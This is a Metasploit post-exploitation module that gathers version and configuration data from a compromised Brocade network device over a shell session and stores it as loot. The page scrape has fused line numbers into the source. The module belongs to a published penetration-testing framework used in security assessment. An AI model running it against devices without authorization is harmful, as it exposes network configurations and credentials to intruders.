Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/networking/gather/enum_brocade.rb
Views: 11655
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Auxiliary::Brocade7include Msf::Exploit::Deprecated8moved_from 'post/brocade/gather/enum_brocade'910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Brocade Gather Device General Information',15'Description' => %q{16This module collects Brocade device information and configuration.17This module has been tested against an icx6430 running 08.0.20T311.18},19'License' => MSF_LICENSE,20'Author' => [ 'h00die'],21'Platform' => [ 'brocade'],22'SessionTypes' => [ 'shell' ]23)24)25end2627def run28# Get device prompt29prompt = session.shell_command("\n")3031if prompt.end_with?('(config)#') # config shell32vprint_status('In a config cli')33session.shell_write("skip-page-display\n")34session.shell_write("terminal length 0\n")35elsif prompt.end_with?('#') # regular cli shell (non-config)36vprint_status('In an enabled cli')37session.shell_write("skip-page-display\n")38session.shell_write("terminal length 0\n")39elsif prompt.end_with?('>') # cli not enabled40vprint_status('In a non-enabled cli')41end4243# attempt to disable paging, cli not enabled this will fail anyways44session.shell_write("skip-page-display\n")45session.shell_write("terminal length 0\n")4647# Get version info48print_status('Getting version information')49version_out = session.shell_command("show version\n")50if /^, Version: (?<ver>.+) | SW: Version (?<ver>.+) /i =~ version_out51vprint_status("OS: #{ver}")52end5354ver_loc = store_loot('brocade.version',55'text/plain',56session,57version_out.strip,58'version.txt',59'Brocade Version')6061# Print the version of VERBOSE set to true.62vprint_good("Version information stored in to loot #{ver_loc}")6364# run additional information gathering65enum_configs(prompt)66end6768# run commands found in exec mode under privilege 169def enum_configs(prompt)70host = session.session_host71port = session.session_port72exec_commands = [73{74'cmd' => 'show configuration',75'fn' => 'get_config',76'desc' => 'Get Device Config on Brocade Device'77},78]79exec_commands.each do |ec|80command = ec['cmd']81cmd_out = session.shell_command(command).gsub(/#{command}|#{prompt}/, '')82print_status("Gathering info from #{command}")83# detect if we're in pagination and get as much data as possible84if cmd_out.include?('--More--')85cmd_out += session.shell_command(" \n" * 20) # 20 pages *should* be enough86end87if ec['fn'] == 'get_config'88brocade_config_eater(host, port, cmd_out.strip)89else90cmd_loc = store_loot("brocade.#{ec['fn']}",91'text/plain',92session,93cmd_out.strip,94"#{ec['fn']}.txt",95ec['desc'])96vprint_good("Saving to #{cmd_loc}")97end98end99end100end101102103